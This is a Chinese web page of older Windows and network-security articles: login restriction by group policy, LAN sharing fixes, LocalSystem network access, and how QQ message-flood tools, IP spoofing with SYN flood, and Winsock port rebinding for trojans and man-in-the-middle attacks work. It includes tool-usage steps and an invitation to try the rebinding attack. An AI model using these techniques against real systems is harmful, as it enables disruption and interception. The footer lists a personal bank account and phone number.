由于组策略可设置的地方很多,限于篇幅不能为大家过多的讲解了。本篇文章要介绍的是使用组策略保证网络在域的情况下,计算机只能为自己所使用,其他所有域用户都无法登录该计算机。从而实现了独机独享的功能,保证了计算机的安全和用户隐私。

第一步:通过gpedit.msc进入组策略编辑器。

第二步:如果你只希望自己的帐户可以登录本机,其他所有用户包括域管理员都无法进入系统的话,可以在组策略编辑器中找到“本地计算机”策略->计算机配置->Windows设置->安全设置->本地策略->用户权利指派->在本地登录。(如图2)


图-2


第三步:双击“在本地登录”选项,在弹出的“本地安全策略设置在本地登录”窗口中将除了自己帐户以外的其他所有帐户和用户组删除。(如图3)


图-3


第四步:确定后该计算机就只能使用admin这个用户独有帐户登录了,虽然该计算机加入了公司的域,不过其他域帐户依然无法登录该计算机的系统。此方法也被称为白名单法,他可以指定容许登录本机的帐户,而其他没有授权的帐户均无法登录,包括域帐户。

小提示:

在实际使用中不建议大家把域管理员帐户组从刚才的“本地安全策略设置在本地登录”窗口中删除,因为域管理员应该拥有公司网络的最高权限,在关键时刻负责维护计算机,所以一旦计算机出问题而域管理员被禁止登录的话恐怕只有重新安装操作系统了。

另外如果你的电脑使用人比较多,但有一两人比较不自觉,你不想让他们用你的电脑,可以采用下面介绍的黑名单法:

第一步:通过gpedit.msc进入组策略编辑器。

第二步:在组策略编辑器中找到“本地计算机”策略->计算机配置->Windows 设置->安全设置->本地策略->用户权利指派->拒绝本地登录。(如图4)


图-4


第三步:双击“拒绝本地登录”选项,在弹出的“本地安全策略设置拒绝本地登录”窗口中将不容许登录本机的帐户添加进去,可以是本地帐户也可以是域帐户。如本例将softer计算机的LI添加,禁止该帐户登录系统。(如图5)


图-5


该方法被称为黑名单法,他将禁止设置的帐户登录系统,对于其他没有设置的帐户都可以随意使用该计算机。

总结:

通过组策略的白名单与黑名单可以轻松控制用户登录某计算机的权限,从而大大提高本地计算机的安全。

返回顶部

QQ消息“炸弹”原理及防御方法

消息“炸弹”的攻击
  什么是QQ消息“炸弹”?它是指攻击者在瞬间向受害者的QQ发送大量的垃圾信息,开启无数个消息窗口,让QQ应接不暇,从而无法正常使用。由于这种“炸弹”大量占用有限的网络带宽,阻塞网络,所以会导致用户上网速度变慢,当大量的系统资源被占用后,还有可能造成电脑死机。这种消息“炸弹”所发出的QQ消息其实和我们正常聊天时所发出的消息一样,只不过它的内容无意义,发送速度非常短,势如洪水不可抵挡。

  QQ消息“炸弹”类的攻击软件非常多,具有代表性的有“飘叶千夫指”,QQsend以及早期的QQjoke等,这些攻击软件的使用都比较简单,运行后先填上受害者的电脑IP地址和端口号,然后再填上欲发送的消息内容以及发送次数,就可以向对方的QQ发送垃圾消息了,下面我们以经典的“飘叶千夫指”为例进行介绍。  


“飘叶千夫指”,炸你没商量

  “飘叶千夫指”中自带了十条待发送的消息,攻击者也可以点击“编辑”按键自行添加要发送的内容,当在软件中输入受攻击电脑的IP地址和端口号后,点击“发送”按钮就开始“狂轰滥炸”,如果勾选软件的“自动循环变换语句”项,消息库中不同内容的待发消息会循环地向受害者发送,按下“不杀不解民愤”的按钮,向受害者发送的垃圾细细将是不间断的,如果不停止,恐怕在受攻击的电脑上永远叶无法登陆QQ了!另外,此攻击软件还支持群组功能,可以对整个聊天群组进行消息“炸弹”攻击。

  消息“炸弹”的原理

  QQ消息“炸弹”之所以普遍存在,主要是由于QQ本身的网络协议以及软件的设计存在着漏洞,QQ主要采用UDP协议进行数据传输(一种面向非连接的协议),虽然它的通信效果比较好,但可靠性却不如TCP协议,只适用于一次传输少量的数据,或对数据可靠性要求不高的环境。大家用QQ聊天时,发送的都是点对点的消息包,即聊天消息都是直接从自己这里发送到QQ好友那里的(只有当好友不在线,或者对方网络不通时,聊天消息才保存在腾讯的服务器上)。UDP协议的不可靠性,使得伪造UDP数据包并不是一件困难的事,再加上点对点的传输方式让普通用户的真实IP地址很容易暴露在攻击者的面前,所以消息“炸弹”就能通过伪造的消息包,轻松地针对IP地址进行攻击,炸你没商量!

  还有一类QQ消息“炸弹”的软件,它是针对QQ程序本身的信息接收漏洞而开发的,它无需知道受害者的IP地址,只要知道其QQ号码就可以“狂轰滥炸”了,最可恨的是,大部分的网络防火墙都认为这些“炸弹”是正常的QQ消息,并不进行阻止。

  “拆弹”妙招

  知道QQ消息“炸弹”的攻击原理后,我们就可以想办法来避开它的威胁。对于普通QQ用户来说,最简单的办法是使用代理服务器来登陆QQ,以达到隐藏自己电脑真实IP地址的目的。当我们的QQ正在遭受“炸弹”攻击时,可以把攻击者从QQ好友拖到黑名单里,并将QQ设置为“拒绝接受陌生人消息”。另外,要记住及时更新QQ的版本,因为它的每一新版本都会修补前一版本的漏洞,令部分攻击软件失效。

返回顶部

Win2000/XP与Win98互访

如果两台电脑都使用Win2000/XP操作系统,那么组建局域网是一件非常简单轻松的事情,当硬件连接完成后,正常情况下立即可以在“网上邻居”中看到对方。但如果局域网中有一台电脑使用Win98,那情况可就不一定了,我们经常会发觉虽然Ping命令可以通过,但仍然无法在“网上邻居”中实现互访,这时该怎么办呢?对策一:在Win2000/XP中启用Guest用户。在Win2000/XP系统安装之后会缺省建立两个用户账户,即Administrator(系统管理员)和Guest(来宾账户),所有在本地计算机没有被分配到账户的用户都将默认使用Guest账户,该账户是没有密码的。不过,在缺省设置下,这个Guest账户并未被启用,我们可以从“控制面板|管理工具|计算机管理|本地用户和组|用户”中找到“Guest”账户,并用鼠标右击打开“Guest属性”对话框,去除这里的“账户已停用”复选框上的对钩标记,这样退出后就可以从Win98中访问到Win2000/XP了。其实,启用了Guest账户后,最大的好处是从Win98访问Win2000/XP时就不需要输入用户名和密码了,这种方法比较适合于用户不确定、访问量较大的局域网,但对家庭用户来说并不适用。 ------------------------------------------------------------------- 对策二:检查Win2000/XP中是否存在安全策略限制。有时,Win2000/XP“聪明”过了头,虽然我们已经启用了Guest账户,从Win98中却仍然无法访问Win2000/XP,这时就要从“控制面板|管理工具|本地安全策略|本地策略|用户权利指派”中找到“从网络访问此计算机”或者“拒绝从网络访问这台计算机”,然后检查一下其中是否出现了Guest账户或者其他对应的账户,然后根据不同情况进行添加或者删除即可。 ------------------------------------------------------------------- 对策三:停用本地连接上的防火墙。防火墙是充当网络与外部世界之间的保卫边界的安全系统,微软在WinXP中为用户提供了一个内置的Internet连接防火墙(ICF),启用后可以限制某些不安全信息从外部进入内部网络。不过,如果您是在本地连接上启用了这个防火墙,那么就会造成工作组之间无法互访,出现“XXX无法访问”、“您可能没有权限使用网络资源”、“请与这台服务器的管理员联系以查明您是否有访问权限”、“找不到网络路径”等类似的提示,此时请停用本地连接的防火墙屏蔽。 ------------------------------------------------------------------- 对策四:为WinXP添加NetBEUI协议。其实,直接添加NetBEUI协议对于解决不能互访的问题有时反而更为简单一些,而且它可以解决上面提到的启用防火墙的问题。Win98安装时会自动安装NetBEUI协议,但由于WinXP已经不再提供对NetBEUI协议的技术支持,因此只能手工添加了。 找出WinXP安装光盘,进入“Valueadd\Msft\Net\Netbeui”文件夹下,这里有Nbf.sys、Netbeui.txt、Netnbf.inf共3个文件,先将Nbf.sys文件复制到本机的“Windows\System32\Drivers”文件夹下(这里的本机指安装了WinXP的那台电脑),再将Netnbf.inf文件复制到本机的“Windows\INF”文件夹下,Netbeui.txt文件可有可无。不过, INF文件夹具有隐藏属性,用户需要先在WinXP下的“工具|属性”窗口中选择显示文件才可以看到该目录。 ------------------------------------------------------------------- 对策五:启用Win98中的“文件及打印机共享”。这是一个很简单但却经常被人忽略的问题,就是装有Win2000/XP的机器虽然可以从“网上邻居”中发现装有Win98的机器,但却无法访问,这是因为Win98未启用“允许其他用户访问我的文件”而造成的,启用该选项就可以解决这个问题。当然,除了上面提到的各种原因外,还有两台电脑不处于同一工作组中,或者是两台电脑的内部IP地址发生了冲突,甚至包括Hub故障、线路故障等。

返回顶部
 

解析进程不能访问网络资源

前言

在NT系统中以system权限的进程使用net use访问网络共享时会产生“系统发生 1312 错误。指定的登录会话不存在。可能已被终止。”,本文试图对此进行一下解释,再有就是使用IIS创建的进程通常也不能使用网络共享,产生的错误是一样的,原因也在这篇文章里阐述了,希望对大家能有所帮助。

本地系统账号

当用户登录系统时,Windows NT/2000 将验证他的密码,如果用户验证成功,系统产生一个访问令牌,它包含用户安全标示符(SID)、组SID列表、特权列表和模拟(Impersonating)信息等安全信息。该用户启动的任何进程都将附加该令牌,访问令牌代表进程的安全环境,它控制了进程与可保护对象(securable object)的交互。当进程访问一个可保护对象时,系统将该对象的访问控制列表(ACL)中的每个访问控制项(ACE)和访问令牌中的 SID 进行比较以确定进程是否可以访问该对象。由于用户启动的任何进程都将附加该用户的访问令牌,因此任何进程都知道用户的 SID 并且可以访问它。

Local System 账号是内置的系统账号,所有系统进程都在 Local System 的安全环境中运行,Local System 账号是用于启动服务的默认账号,它继承了服务控制管理器的安全环境,在本地计算机上拥有几乎无限的权限。在 Local System 账号环境运行的进程没有与任何已登录的用户账号相联系,没有用于验证的信任凭证(用户名、域和密码),而该信任凭证(credential)用于网络上其他计算机的验证,这样以 Local System 账号运行的进程就不能访问网络资源,如网络共享。

在 Local System 账号环境运行的进程和普通进程的不同之处在于:

1) 注册表的 HKEY_CURRENT_USER 键是和缺省用户而不是当前用户相联系的,要访问其他用户的配置文件,需要先模拟该用户,然后再访问 HKEY_CURRENT_USER 。

2) 可以打开 HKEY_LOCAL_MACHINE\\SECURITY 注册表键

3) 该进程不能访问网络资源,如共享、管道,因为它不能提供信任凭证,而只能使用空连接。 在 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters 处的 NullSessionPipes 和 NullSessionShares 的值指明了可以被空连接访问的管道和共享。 或者也可以设置 RestrictNullSessAccess = 0,以允许空连接的用户访问该计算机上的所有管道和共享。(呵呵,这个是个安全隐患呦,可不要干呀。上边两个值最好也全都设成空)

4) 不能和其他程序共享对象,除非在创建对象时设置 DACL 允许用户访问。

5) 如果启动命令行提示符来运行批处理文件,用户可以按 Ctrl+C 来终止批处理的运行,并且用户就获得了一个 Local System 权限的 shell。


IIS服务的模拟

正是由于服务程序运行在权限极大的 Local System 账号下,如果网络客户也使用该账号来访问系统将给系统带来安全隐患,因此 NT/2000 提供了模拟功能 --- 服务程序在处理客户请求时使用一个权限较低的客户身份运行,处理完客户请求再恢复。IIS就是使用这个原理,虽然配置 IIS 以 Local System 账号运行,而一般的匿名请求就是以 IUSR_computer 身份(guests 组)和 IWAM_computer 身份(guests 组)运行的。模拟又分两种,在进程里使用模拟令牌来模拟某个用户(模拟令牌里的用户)和使用主要令牌来创建新的进程。在进程内的某个线程可以使用 ImpersonateLoggedOnUser(同时需要提供一个代表某个登录用户的模拟令牌)模拟用户时,这个线程就是该模拟令牌代表的用户的身份,处理完成后使用 RevertToSelf 恢复自己的身份。创建新的进程使用 CreateProcessAsUser(比 CreateProcess 函数多一个主要令牌的参数),这样启动的新进程就不是父进程的身份,而是主要令牌代表的登录用户。对于asp、asa等ISAPI扩展,是动态连接库的形式,是进程内的模拟;而CGI程序(cmd.exe,ncx99.exe)则是使用的创建新进程方式进行的模拟。

不过即使我们通过IIS启动了进程,一般仍然不能使用网络资源,就是不能使用 net use,如果使用将产生“系统发生 1312 错误。指定的登录会话不存在。可能已被终止。”的错误,这是因为不同的登录类型造成的。Windows NT支持以下5种登录类型:

  登录类型 含义
LOGON32_LOGON_INTERACTIVE 交互登录:这个是通常的本地登录或者终端服务、telnet等
LOGON32_LOGON_SERVICE 服务登录:作为服务登录系统
LOGON32_LOGON_NETWORK 网络登录:用于高性能的服务来验证明文密码
LOGON32_LOGON_BATCH 批处理登录:用于批处理服务器或者同时处理多个明文验证的高性能服务器
LOGON32_LOGON_UNLOCK 解除锁定登录:设计用来为 GINA DLL 记录交互登录用户解除工作站锁定的。这种类型允许在工作站解除锁定时产生一条审核记录

除了以上5种登录类型外,Windows 2000 还支持以下两种类型LOGON32_LOGON_NETWORK_CLEARTEXT,LOGON32_LOGON_NEW_CREDENTIALS(详细详细参见 msdn 里关于 LogonUser 函数的解释)。

根据 IIS 验证方式的不同,IIS支持不同的登录类型。IIS 4支持以下5种类型的验证方式:

  验证类型 模拟类型
匿名登录(没有验证),允许密码自动同步(缺省) Network - 网络
匿名登录(没有验证),禁止密码自动同步 IIS Clear Text - IIS明文
基本验证 IIS Clear Text - IIS明文
集成NT验证,NTLM Network - 网络
客户端使用 SSL Certificate Mapping Interactive - 交互



可否访问网络资源由模拟的登录令牌类型决定,网络登录令牌是不能访问网络资源的,因为这种类型的访问令牌是在通过网络完成验证后由服务器创建的,服务器使用这种令牌来访问网络上的其他计算机是一个安全隐患。

交互登录就和本地登录一样,是可以访问网络资源的。

IIS 支持的第三种类型的访问令牌是批处理令牌,它是设计用来在安全的环境里进行批处理工作的,批处理令牌也可以访问网络资源。

IIS 明文验证的概念来自于IIS是以明文的方式获得用户名和密码的事实。管理员可以控制明文登录创建交互令牌、批处理令牌还是网络令牌,这由 metabase的 LogonMethod 属性决定。缺省这种登录创建交互令牌。

一般管理员在配置 IIS 时会允许密码自动同步(这样就不用关心 IUSR_computer 用户的密码的更改),还有就是集成 NT 的 NTLM 验证也是比较常见的,不过这两者验证都将创建网络访问令牌,因此我们就不能访问网络资源了。

返回顶部

利用IP地址欺骗突破防火墙

一般的访问控制主要在防火墙中进行设置,制定一些安全策略:如内部局域网的资源不允许外部网上的用户使用;不设防区(又称非军事区)可以为内部或外部局域网,其中的资源允许外部网的用户有限度地使用;可以使外部用户访问非军事区(DMZ区)的WEB服务器等等。深入分析研究防火墙技术,利用防火墙配置和实现 的漏洞,可以对它实施攻击。通常情况下,有效的攻击都是从相关的子网进行的,因为这些网址得到了防火墙的信赖,虽说成功与否尚取决于机遇等其他因素,但对攻击者而言很值得一试。

  突破防火墙系统最常用的方法是IP地址欺骗,它同时也是其他一系列攻击方法的基础。之所以使用这个方法,是因为IP自身的缺点。IP协议依据IP头中的目的地址项来发送IP数据包。如果目的地址是本地网络内的地址,该IP包就被直接发送到目的地。如果目的地址不在本地网络内,该IP包就会被发送到网关,再由网关决定将其发送到何处。这是IP路由IP包的方法。IP路由IP包时对IP头中提供的IP源地址不做任何检查,并且认为IP头中的IP源地址即为发送该包的机器的IP地址。当接收到该包的目的主机要与源主机进行通讯时,它以接收到的IP包的IP头中IP源地址作为其发送的IP包的目的地址,来与源主机进行数据通讯。IP的这种数据通讯方式虽然非常简单和高效,但它同时也是IP的一个安全隐患,很多网络安全事故都是因为IP这个的缺点而引发的。

  黑客或入侵者利用伪造的IP发送地址产生虚假的数据分组,乔装成来自内部站的分组过滤器,这种类型的攻击是非常危险的。关于涉及到的分组真正是内部的还是外部的分组被包装得看起来象内部的种种迹象都已丧失殆尽。只要系统发现发送地址在其自己的范围之内,则它就把该分组按内部通信对待并让其通过。

  通常主机A与主机B的TCP连接(中间有或无防火墙)是通过主机A向主机B提出请求建立起来的,而其间A和B的确认仅仅根据由主机A产生并经主机B验证的初始序列号ISN。具体分三个步骤:

  主机A产生它的ISN,传送给主机B,请求建立连接;B接收到来自A的带有SYN标志的ISN后,将自己本身的ISN连同应答信息ACK一同返回给A;A再将B传送来ISN及应答信息ACK返回给B。至此,正常情况,主机A与B的TCP连接就建立起来了。

  B ---- SYN ----> A
  B <---- SYN+ACK ---- A
  B ---- ACK ----> A

  假设C企图攻击A,因为A和B是相互信任的,如果C已经知道了被A信任的B,那么就要相办法使得B的网络功能瘫痪,防止别的东西干扰自己的攻击。在这里普遍使用的是SYN flood。攻击者向被攻击主机发送许多TCP- SYN包。这些TCP-SYN包的源地址并不是攻击者所在主机的IP地址,而是攻击者自己填入的IP地址。当被攻击主机接收到攻击者发送来的TCP-SYN包后,会为一个TCP连接分配一定的资源,并且会以接收到的数据包中的源地址(即攻击者自己伪造的IP地址)为目的地址向目的主机发送TCP-(SYN+ACK)应答包。由于攻击者自己伪造的IP地址一定是精心选择的不存在的地址,所以被攻击主机永远也不可能收到它发送出去的TCP-(SYN+ACK)包的应答包,因而被攻击主机的TCP状态机会处于等待状态。如果被攻击主机的TCP状态机有超时控制的话,直到超时,为该连接分配的资源才会被回收。因此如果攻击者向被攻击主机发送足够多的TCP-SYN包,并且足够快,被攻击主机的TCP模块肯定会因为无法为新的TCP连接分配到系统资源而处于服务拒绝状态。并且即使被攻击主机所在网络的管理员监听到了攻击者的数据包也无法依据IP头的源地址信息判定攻击者是谁。

返回顶部

用端口截听实现隐藏嗅探与攻击

在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:

  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

  saddr.sin_family = AF_INET;

  saddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

  这意味着什么?意味着可以进行如下的攻击:

  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)

  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。

  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 

  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。



  打印本页

の忙音..嘟嘟站设为首页加入收藏联系我们

联系地址:建行帐号:6227003050020016668   联系电话:0744-3230272   联系人:龚权